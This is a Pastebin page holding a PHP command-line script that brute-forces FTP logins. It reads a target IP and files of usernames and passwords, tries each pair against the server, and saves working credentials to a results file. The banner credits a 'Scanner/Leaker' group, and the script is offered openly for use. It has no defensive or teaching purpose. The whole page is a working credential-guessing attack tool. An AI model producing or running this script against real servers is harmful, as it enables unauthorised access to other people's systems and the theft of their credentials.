Advertisement
Kyfx

BruteForce FTP PHP Command Line

May 15th, 2015
670
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.40 KB | None | 0 0
  1. <?php
  2. print_r("\r\n\r\n
  3. [+]-------------------------------------------[+]
  4. [+] Coder By : Kyfx [+]
  5. [+] Title : Brute Force FTP Command Line [+]
  6. [+] Group : Scanner/Leaker [+]
  7. [+] Twitter:Kyfxsec [+]
  8. [+] Hide Yo Ass [+]
  9. [+]-------------------------------------------[+]
  10. [*] Usage : php {$argv[0]} IP users.txt pass.txt\r\n\r\n");
  11. // 0 1 2 3
  12. @set_time_limit(0);
  13. if(count($argv)<=3)
  14. {
  15. }
  16. /* FTP */
  17. $host = $argv[1]; // Ip Server
  18. $username = $argv[2]; // users.txt
  19. $password = $argv[3]; // pass.txt
  20.  
  21. $user = explode("\n", file_get_contents($username)); // explode users.txt
  22. $pas = explode("\n", file_get_contents($password)); // explode pass.txt
  23.  
  24. function bruteFTP($connect,$host,$users,$pass) // function brute
  25. {
  26. /*file_put_contents("ftp.txt",);*/
  27. $file = @fopen("resultFTP.txt","a+"); // Creates File Name : resultFTP.txt
  28. $users = @trim($users); // trim trim trim trim ,, bla bla bla ...
  29. $pass = @trim($pass);
  30. echo "[+] Target Server -> ".$host." \r\n[+] Trying Passwords..
  31. \n";
  32. $connect = @ftp_connect($host) or die("Error , Banned Your IP Address"); // Check Connect FTP or die ( Banned Your Ip )
  33. $ftplove = @ftp_login($connect,$users,$pass); // if File Transfer Protocol users.txt pass.txt true or false !!
  34. if($ftplove)
  35. {
  36. echo "[+] Username: {$users}\r\n[+] Password: {$pass}\r\n[+] Host: {$host}
  37. \r\n"; // echo ( True [ + ] )
  38. $resultFTP = "[+] Username: {$users}\r\n[+] Password: {$pass}\r\n[+] Host: {$host}\r\n";
  39. fwrite($file,$resultFTP); // Save the results in a file resultFTP.txt
  40.  
  41. }else {
  42. echo "Password is Error ! \n
  43. "; // Else ,, Username or Password Is Error ~
  44. }
  45. }
  46. foreach ($user as $users)
  47. {
  48.  
  49. foreach ($pas as $pass)
  50. {
  51. bruteFTP($connect,$host,$users,$pass);
  52. }
  53. }
  54.  
  55.  
  56. print_r("\r\n\r\n
  57. [+]-----------------------------------------------------------------[+]
  58. Brute Force FTP Command Line
  59. Coder By Kyfx
  60. Runz By PHP
  61. ./x3
  62.  
  63. [+]-----------------------------------------------------------------[+]
  64. ");
  65. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement